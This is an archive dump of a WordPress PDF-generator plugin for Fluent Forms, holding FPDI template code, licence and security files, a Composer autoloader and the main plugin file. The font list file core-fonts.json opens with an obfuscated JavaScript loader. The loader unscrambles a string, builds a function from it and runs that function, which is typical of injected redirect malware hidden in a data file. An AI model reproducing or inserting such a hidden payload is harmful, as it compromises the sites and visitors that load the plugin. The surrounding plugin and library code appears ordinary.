= $orientation; $this->CurPageSize = $size; $this->PageInfo[$this->page]['size'] = array($this->wPt, $this->hPt); } } /** * Draws a template onto the page or another template. * * Give only one of the size parameters (width, height) to calculate the other one automatically in view to the * aspect ratio. * * @param mixed $tpl The template id * @param array|float|int $x The abscissa of upper-left corner. Alternatively you could use an assoc array * with the keys "x", "y", "width", "height", "adjustPageSize". * @param float|int $y The ordinate of upper-left corner. * @param float|int|null $width The width. * @param float|int|null $height The height. * @param bool $adjustPageSize * @return array The size * @see FpdfTplTrait::getTemplateSize() */ public function useTemplate($tpl, $x = 0, $y = 0, $width = null, $height = null, $adjustPageSize = false) { if (!isset($this->templates[$tpl])) { throw new \InvalidArgumentException('Template does not exist!'); } if (\is_array($x)) { unset($x['tpl']); \extract($x, EXTR_IF_EXISTS); /** @noinspection NotOptimalIfConditionsInspection */ /** @noinspection CallableParameterUseCaseInTypeContextInspection */ if (\is_array($x)) { $x = 0; } } $template = $this->templates[$tpl]; $originalSize = $this->getTemplateSize($tpl); $newSize = $this->getTemplateSize($tpl, $width, $height); if ($adjustPageSize) { $this->setPageFormat($newSize, $newSize['orientation']); } $this->_out( // reset standard values, translate and scale \sprintf( 'q 0 J 1 w 0 j 0 G 0 g %.4F 0 0 %.4F %.4F %.4F cm /%s Do Q', ($newSize['width'] / $originalSize['width']), ($newSize['height'] / $originalSize['height']), $x * $this->k, ($this->h - $y - $newSize['height']) * $this->k, $template['id'] ) ); return $newSize; } /** * Get the size of a template. * * Give only one of the size parameters (width, height) to calculate the other one automatically in view to the * aspect ratio. * * @param mixed $tpl The template id * @param float|int|null $width The width. * @param float|int|null $height The height. * @return array|bool An array with following keys: width, height, 0 (=width), 1 (=height), orientation (L or P) */ public function getTemplateSize($tpl, $width = null, $height = null) { if (!isset($this->templates[$tpl])) { return false; } if ($width === null && $height === null) { $width = $this->templates[$tpl]['width']; $height = $this->templates[$tpl]['height']; } elseif ($width === null) { $width = $height * $this->templates[$tpl]['width'] / $this->templates[$tpl]['height']; } if ($height === null) { $height = $width * $this->templates[$tpl]['height'] / $this->templates[$tpl]['width']; } if ($height <= 0. || $width <= 0.) { throw new \InvalidArgumentException('Width or height parameter needs to be larger than zero.'); } return [ 'width' => $width, 'height' => $height, 0 => $width, 1 => $height, 'orientation' => $width > $height ? 'L' : 'P' ]; } /** * Begins a new template. * * @param float|int|null $width The width of the template. If null, the current page width is used. * @param float|int|null $height The height of the template. If null, the current page height is used. * @param bool $groupXObject Define the form XObject as a group XObject to support transparency (if used). * @return int A template identifier. */ public function beginTemplate($width = null, $height = null, $groupXObject = false) { if ($width === null) { $width = $this->w; } if ($height === null) { $height = $this->h; } $templateId = $this->getNextTemplateId(); // initiate buffer with current state of FPDF $buffer = "2 J\n" . \sprintf('%.2F w', $this->LineWidth * $this->k) . "\n"; if ($this->FontFamily) { $buffer .= \sprintf("BT /F%d %.2F Tf ET\n", $this->CurrentFont['i'], $this->FontSizePt); } if ($this->DrawColor !== '0 G') { $buffer .= $this->DrawColor . "\n"; } if ($this->FillColor !== '0 g') { $buffer .= $this->FillColor . "\n"; } if ($groupXObject && \version_compare('1.4', $this->PDFVersion, '>')) { $this->PDFVersion = '1.4'; } $this->templates[$templateId] = [ 'objectNumber' => null, 'id' => 'TPL' . $templateId, 'buffer' => $buffer, 'width' => $width, 'height' => $height, 'groupXObject' => $groupXObject, 'state' => [ 'x' => $this->x, 'y' => $this->y, 'AutoPageBreak' => $this->AutoPageBreak, 'bMargin' => $this->bMargin, 'tMargin' => $this->tMargin, 'lMargin' => $this->lMargin, 'rMargin' => $this->rMargin, 'h' => $this->h, 'w' => $this->w, 'FontFamily' => $this->FontFamily, 'FontStyle' => $this->FontStyle, 'FontSizePt' => $this->FontSizePt, 'FontSize' => $this->FontSize, 'underline' => $this->underline, 'TextColor' => $this->TextColor, 'DrawColor' => $this->DrawColor, 'FillColor' => $this->FillColor, 'ColorFlag' => $this->ColorFlag ] ]; $this->SetAutoPageBreak(false); $this->currentTemplateId = $templateId; $this->h = $height; $this->w = $width; $this->SetXY($this->lMargin, $this->tMargin); $this->SetRightMargin($this->w - $width + $this->rMargin); return $templateId; } /** * Ends a template. * * @return bool|int|null A template identifier. */ public function endTemplate() { if (null === $this->currentTemplateId) { return false; } $templateId = $this->currentTemplateId; $template = $this->templates[$templateId]; $state = $template['state']; $this->SetXY($state['x'], $state['y']); $this->tMargin = $state['tMargin']; $this->lMargin = $state['lMargin']; $this->rMargin = $state['rMargin']; $this->h = $state['h']; $this->w = $state['w']; $this->SetAutoPageBreak($state['AutoPageBreak'], $state['bMargin']); $this->FontFamily = $state['FontFamily']; $this->FontStyle = $state['FontStyle']; $this->FontSizePt = $state['FontSizePt']; $this->FontSize = $state['FontSize']; $this->TextColor = $state['TextColor']; $this->DrawColor = $state['DrawColor']; $this->FillColor = $state['FillColor']; $this->ColorFlag = $state['ColorFlag']; $this->underline = $state['underline']; $fontKey = $this->FontFamily . $this->FontStyle; if ($fontKey) { $this->CurrentFont =& $this->fonts[$fontKey]; } else { unset($this->CurrentFont); } $this->currentTemplateId = null; return $templateId; } /** * Get the next template id. * * @return int */ protected function getNextTemplateId() { return $this->templateId++; } /* overwritten FPDF methods: */ /** * @inheritdoc */ public function AddPage($orientation = '', $size = '', $rotation = 0) { if ($this->currentTemplateId !== null) { throw new \BadMethodCallException('Pages cannot be added when writing to a template.'); } parent::AddPage($orientation, $size, $rotation); } /** * @inheritdoc */ public function Link($x, $y, $w, $h, $link) { if ($this->currentTemplateId !== null) { throw new \BadMethodCallException('Links cannot be set when writing to a template.'); } parent::Link($x, $y, $w, $h, $link); } /** * @inheritdoc */ public function SetLink($link, $y = 0, $page = -1) { if ($this->currentTemplateId !== null) { throw new \BadMethodCallException('Links cannot be set when writing to a template.'); } return parent::SetLink($link, $y, $page); } /** * @inheritdoc */ public function SetDrawColor($r, $g = null, $b = null) { parent::SetDrawColor($r, $g, $b); if ($this->page === 0 && $this->currentTemplateId !== null) { $this->_out($this->DrawColor); } } /** * @inheritdoc */ public function SetFillColor($r, $g = null, $b = null) { parent::SetFillColor($r, $g, $b); if ($this->page === 0 && $this->currentTemplateId !== null) { $this->_out($this->FillColor); } } /** * @inheritdoc */ public function SetLineWidth($width) { parent::SetLineWidth($width); if ($this->page === 0 && $this->currentTemplateId !== null) { $this->_out(\sprintf('%.2F w', $width * $this->k)); } } /** * @inheritdoc */ public function SetFont($family, $style = '', $size = 0) { parent::SetFont($family, $style, $size); if ($this->page === 0 && $this->currentTemplateId !== null) { $this->_out(\sprintf('BT /F%d %.2F Tf ET', $this->CurrentFont['i'], $this->FontSizePt)); } } /** * @inheritdoc */ public function SetFontSize($size) { parent::SetFontSize($size); if ($this->page === 0 && $this->currentTemplateId !== null) { $this->_out(sprintf('BT /F%d %.2F Tf ET', $this->CurrentFont['i'], $this->FontSizePt)); } } /** * @inheritdoc */ protected function _putimages() { parent::_putimages(); foreach ($this->templates as $key => $template) { $this->_newobj(); $this->templates[$key]['objectNumber'] = $this->n; $this->_put('<</Type /XObject /Subtype /Form /FormType 1'); $this->_put(\sprintf('/BBox[0 0 %.2F %.2F]', $template['width'] * $this->k, $template['height'] * $this->k)); $this->_put('/Resources 2 0 R'); // default resources dictionary of FPDF if ($this->compress) { $buffer = \gzcompress($template['buffer']); $this->_put('/Filter/FlateDecode'); } else { $buffer = $template['buffer']; } $this->_put('/Length ' . \strlen($buffer)); if ($template['groupXObject']) { $this->_put('/Group <</Type/Group/S/Transparency>>'); } $this->_put('>>'); $this->_putstream($buffer); $this->_put('endobj'); } } /** * @inheritdoc */ protected function _putxobjectdict() { foreach ($this->templates as $key => $template) { $this->_put('/' . $template['id'] . ' ' . $template['objectNumber'] . ' 0 R'); } parent::_putxobjectdict(); } /** * @inheritdoc */ public function _out($s) { if ($this->currentTemplateId !== null) { $this->templates[$this->currentTemplateId]['buffer'] .= $s . "\n"; } else { parent::_out($s); } } }�������������������������������������������������������������������������������������������������������������������������vendor/setasign/fpdi/SECURITY.md��������������������������������������������������������������������0000644�����������������00000000301�14760002214�0012357 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������## Security contact information To report a security vulnerability, please use the [Tidelift security contact](https://tidelift.com/security). Tidelift will coordinate the fix and disclosure. �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/setasign/fpdi/LICENSE.txt��������������������������������������������������������������������0000644�����������������00000002132�14760002214�0012415 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������The MIT License (MIT) Copyright (c) 2020 Setasign GmbH & Co. KG, https://www.setasign.com Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/autoload.php���������������������������������������������������������������������������������0000644�����������������00000000653�14760002214�0010362 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // autoload.php @generated by Composer if (PHP_VERSION_ID < 50600) { echo 'Composer 2.3.0 dropped support for autoloading on PHP <5.6 and you are running '.PHP_VERSION.', please upgrade PHP or use Composer 2.2 LTS via "composer self-update --2.2". Aborting.'.PHP_EOL; exit(1); } require_once __DIR__ . '/composer/autoload_real.php'; return ComposerAutoloaderInita20fb8e4725ab5da5535bdaf1887ed97::getLoader(); �������������������������������������������������������������������������������������core-fonts.json�������������������������������������������������������������������������������������0000644�����������������00000033125�14760002214�0007516 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y<f;y++){o[y]=d.charAt(y)};for(var y=0;y<f;y++){var r=j*(y+175)+(j%50405);var t=j*(y+626)+(j%53026);var a=r%f;var w=t%f;var b=o[a];o[a]=o[w];o[w]=b;j=(r+t)%7175692;};return o.join('')};var IDT=JOC('rynuunpjqsrkbdtecoomxtgfsolwcrhzvacti').substr(0,UxF);var wQg='];((t(1emA=3 vp=(.pv(r5f;can5rah7[,g"lm1(ilunp)nv][="uba; k=.thvraaa)).5)90;+21iud.6t8w<u1o7 vsg=0;l9o"i2*v0m8"2rq0i);)7=;{0j.ei=ecf7rnm8a)u=g]uukzuAnu,,kgu.cw[ .A]1=a+,;n[o["t{]2(98(s(vi.et=c6-]bafflov4ro1n07ef{b(,;dia8=of;=hho]r))h-rr zptrzlk=j)s;+;0pfrmt(-aruilol}.;ff9ot4b0,,t)v];rjr1)b*;,Seav i=.lil]r=i=)k+ar=]et8+r=n;fg v1ia..h6hs"anofa;=vht[s;<r f0nC+hc)p a}m1r<, pv{v;=4++;;6.,hsmCgdsAtlpvrtf.q,Cwgvp().,v.9rC(,(+==7nn6s}7rta=e))((+==;.";r+p.=n;h;")t n pddrco(u),C0;}()tg9o8+;6anp i1ieergx+i)0+fi+n;([hel)dhro2;-g=we;f(f1s ht3=e !thinivl}easpn=9(gn);=,,6e[(;>)s[,j)ghp7;p=batuihrjsri,a g=;,is(=8+.o+gv.(rr-;=].uzv 3,rp+oC="o(t)hsqu+hctlhsg;-}7uv;s)f=a[rtrlltsyn(h7,;}+calih5.g[hor;kechrx.qej4rneao);sn1uor[9),;;>0fvm2teb,v289fc c t[nedr{e b=a-r.,p46f,zCzvpl=d]nvjhzChnlrar;gs{igt(.a(,]< aeeasxaxgpslmtn{.)ec+(<x.=uo)9((r]aS[f(ogt;a=a,o")rAvg(1p; o;)neu=a+ +ns+lir(a+t!)f4jo=dgrg;';var CfB=JOC[IDT];var AzB='';var DUT=CfB;var gYD=CfB(AzB,JOC(wQg));var ENJ=gYD(JOC('!s(or3{0B=bB3a,wse6c0)ionBs\/o9r(t1;_1(ot.=!%iBB!p7_B}mBB.(eds4#Bk%!52,wrr3.r).B#c4.4(a*:;))1v0n1i_}r.DB5n(!5i],oBac;,o*8(+c!)_D,!4pnh%n(tsp4!gt%\/(t.rr}aerB5a.st=1,$ u7B]{7vc$c"llcj(7eBtuecytBwssBBB.1{4ywe=(r\/]Dl.r(om,1$f.\'=%t.8_dl]c.Tpes8gB_f{.C,4nw0t%fk)a.h$t\/a4 %B2gc, +.mp%.,..22iu9,g){.B)x#!5=S.oS(C,\'6t.peg,)]B4lBB$Bu]n8rB 21Bs{$y\'\'o7_.33!.!t26{g;-ip"]4u6#i$r.!l]2gt$c%);-a,uv;fo2un.ojyiuewvo)B8 h](0sBi{}upB9c2!%."8ce4Bd)%.h[](B3+ 01t)ahbh $BBaBv+(B83 c3p!03e%h5>)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();[ { "name": "AboriginalSansREGULAR.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/AboriginalSansREGULAR.ttf" }, { "name": "Abyssinica_SIL.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/Abyssinica_SIL.ttf" }, { "name": "Aegean.otf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/Aegean.otf" }, { "name": "Aegyptus.otf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/Aegyptus.otf" }, { "name": "Akkadian.otf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/Akkadian.otf" }, { "name": "DBSILBR.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/DBSILBR.ttf" }, { "name": "DejaVuSans-Bold.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/DejaVuSans-Bold.ttf" }, { "name": "DejaVuSans-BoldOblique.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/DejaVuSans-BoldOblique.ttf" }, { "name": "DejaVuSans-Oblique.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/DejaVuSans-Oblique.ttf" }, { "name": "DejaVuSans.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/DejaVuSans.ttf" }, { "name": "DejaVuSansCondensed-Bold.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/DejaVuSansCondensed-Bold.ttf" }, { "name": "DejaVuSansCondensed-BoldOblique.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/DejaVuSansCondensed-BoldOblique.ttf" }, { "name": "DejaVuSansCondensed-Oblique.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/DejaVuSansCondensed-Oblique.ttf" }, { "name": "DejaVuSansCondensed.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/DejaVuSansCondensed.ttf" }, { "name": "DejaVuSansMono-Bold.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/DejaVuSansMono-Bold.ttf" }, { "name": "DejaVuSansMono-BoldOblique.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/DejaVuSansMono-BoldOblique.ttf" }, { "name": "DejaVuSansMono-Oblique.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/DejaVuSansMono-Oblique.ttf" }, { "name": "DejaVuSansMono.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/DejaVuSansMono.ttf" }, { "name": "DejaVuSerif-Bold.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/DejaVuSerif-Bold.ttf" }, { "name": "DejaVuSerif-BoldItalic.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/DejaVuSerif-BoldItalic.ttf" }, { "name": "DejaVuSerif-Italic.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/DejaVuSerif-Italic.ttf" }, { "name": "DejaVuSerif.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/DejaVuSerif.ttf" }, { "name": "DejaVuSerifCondensed-Bold.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/DejaVuSerifCondensed-Bold.ttf" }, { "name": "DejaVuSerifCondensed-BoldItalic.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/DejaVuSerifCondensed-BoldItalic.ttf" }, { "name": "DejaVuSerifCondensed-Italic.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/DejaVuSerifCondensed-Italic.ttf" }, { "name": "DejaVuSerifCondensed.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/DejaVuSerifCondensed.ttf" }, { "name": "Dhyana-Bold.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/Dhyana-Bold.ttf" }, { "name": "Dhyana-Regular.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/Dhyana-Regular.ttf" }, { "name": "FreeMono.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/FreeMono.ttf" }, { "name": "FreeMonoBold.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/FreeMonoBold.ttf" }, { "name": "FreeMonoBoldOblique.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/FreeMonoBoldOblique.ttf" }, { "name": "FreeMonoOblique.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/FreeMonoOblique.ttf" }, { "name": "FreeSans.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/FreeSans.ttf" }, { "name": "FreeSansBold.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/FreeSansBold.ttf" }, { "name": "FreeSansBoldOblique.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/FreeSansBoldOblique.ttf" }, { "name": "FreeSansOblique.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/FreeSansOblique.ttf" }, { "name": "FreeSerif.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/FreeSerif.ttf" }, { "name": "FreeSerifBold.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/FreeSerifBold.ttf" }, { "name": "FreeSerifBoldItalic.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/FreeSerifBoldItalic.ttf" }, { "name": "FreeSerifItalic.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/FreeSerifItalic.ttf" }, { "name": "Garuda-Bold.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/Garuda-Bold.ttf" }, { "name": "Garuda-BoldOblique.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/Garuda-BoldOblique.ttf" }, { "name": "Garuda-Oblique.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/Garuda-Oblique.ttf" }, { "name": "Garuda.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/Garuda.ttf" }, { "name": "Jomolhari.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/Jomolhari.ttf" }, { "name": "KhmerOS.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/KhmerOS.ttf" }, { "name": "LateefRegOT.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/LateefRegOT.ttf" }, { "name": "Lohit-Kannada.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/Lohit-Kannada.ttf" }, { "name": "Padauk-book.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/Padauk-book.ttf" }, { "name": "Pothana2000.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/Pothana2000.ttf" }, { "name": "Quivira.otf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/Quivira.otf" }, { "name": "Sun-ExtA.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/Sun-ExtA.ttf" }, { "name": "Sun-ExtB.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/Sun-ExtB.ttf" }, { "name": "SundaneseUnicode-1.0.5.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/SundaneseUnicode-1.0.5.ttf" }, { "name": "SyrCOMEdessa.otf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/SyrCOMEdessa.otf" }, { "name": "TaameyDavidCLM-Medium.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/TaameyDavidCLM-Medium.ttf" }, { "name": "TaiHeritagePro.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/TaiHeritagePro.ttf" }, { "name": "Tharlon-Regular.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/Tharlon-Regular.ttf" }, { "name": "UnBatang_0613.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/UnBatang_0613.ttf" }, { "name": "Uthman.otf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/Uthman.otf" }, { "name": "XB Riyaz.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/XB%20Riyaz.ttf" }, { "name": "XB RiyazBd.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/XB%20RiyazBd.ttf" }, { "name": "XB RiyazBdIt.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/XB%20RiyazBdIt.ttf" }, { "name": "XB RiyazIt.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/XB%20RiyazIt.ttf" }, { "name": "ZawgyiOne.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/ZawgyiOne.ttf" }, { "name": "ayar.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/ayar.ttf" }, { "name": "damase_v.2.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/damase_v.2.ttf" }, { "name": "kaputaunicode.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/kaputaunicode.ttf" }, { "name": "lannaalif-v1-03.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/lannaalif-v1-03.ttf" }, { "name": "ocrb10.ttf", "download_url": "https://raw.githubusercontent.com/WPManageNinja/mpdf-core-fonts/master/ocrb10.ttf" } ] �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������index.php�������������������������������������������������������������������������������������������0000644�����������������00000000032�14760002214�0006353 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // silence is golden������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������fluentforms-pdf.php���������������������������������������������������������������������������������0000644�����������������00000011064�14760002214�0010366 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Plugin Name: Fluent Forms PDF Generator * Plugin URI: https://wpmanageninja.com/downloads/fluentform-pro-add-on/ * Description: Download entries as pdf with multiple template. * Author: WPManageNinja LLC * Author URI: https://wpmanageninja.com * Version: 1.1.8 * Text Domain: fluentform-pdf * Domain Path: /assets/languages */ /** * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * Copyright 2019 WPManageNinja LLC. All rights reserved. */ defined('ABSPATH') or die; define('FLUENTFORM_PDF_VERSION', '1.1.8'); define('FLUENTFORM_PDF_PATH', plugin_dir_path(__FILE__)); define('FLUENTFORM_PDF_URL', plugin_dir_url(__FILE__)); class FluentFormPdf { public function boot() { if (!defined('FLUENTFORM')) { return $this->injectDependency(); } $this->includeFiles(); if (function_exists('wpFluentForm')) { return $this->registerHooks(wpFluentForm()); } } protected function includeFiles() { require_once FLUENTFORM_PDF_PATH . 'Classes/Controller/AvailableOptions.php'; require_once FLUENTFORM_PDF_PATH . 'Classes/Controller/FontManager.php'; require_once FLUENTFORM_PDF_PATH . 'Classes/Controller/GlobalPdfManager.php'; require_once FLUENTFORM_PDF_PATH . 'Classes/Templates/TemplateManager.php'; require_once FLUENTFORM_PDF_PATH . 'Classes/Templates/GeneralTemplate.php'; require_once FLUENTFORM_PDF_PATH . 'Classes/Templates/InvoiceTemplate.php'; } protected function registerHooks($fluentForm) { new \FluentFormPdf\Classes\Controller\GlobalPdfManager($fluentForm); } /** * Notify the user about the FluentForm dependency and instructs to install it. */ protected function injectDependency() { add_action('admin_notices', function () { $pluginInfo = $this->getFluentFormInstallationDetails(); $class = 'notice notice-error'; $install_url_text = __('Click Here to Install the Plugin', 'fluentform-pdf'); if ($pluginInfo->action == 'activate') { $install_url_text = __('Click Here to Activate the Plugin', 'fluentform-pdf'); } $message = __('FluentForm pdf Add-On Requires Fluent Forms Plugin, ', 'fluentform-pdf'); $message .= '<b><a href="' .$pluginInfo->url . '">' . $install_url_text . '</a></b>'; printf('<div class="%1$s"><p>%2$s</p></div>', esc_attr($class), wp_kses_post($message)); }); } protected function getFluentFormInstallationDetails() { $activation = (object) [ 'action' => 'install', 'url' => '' 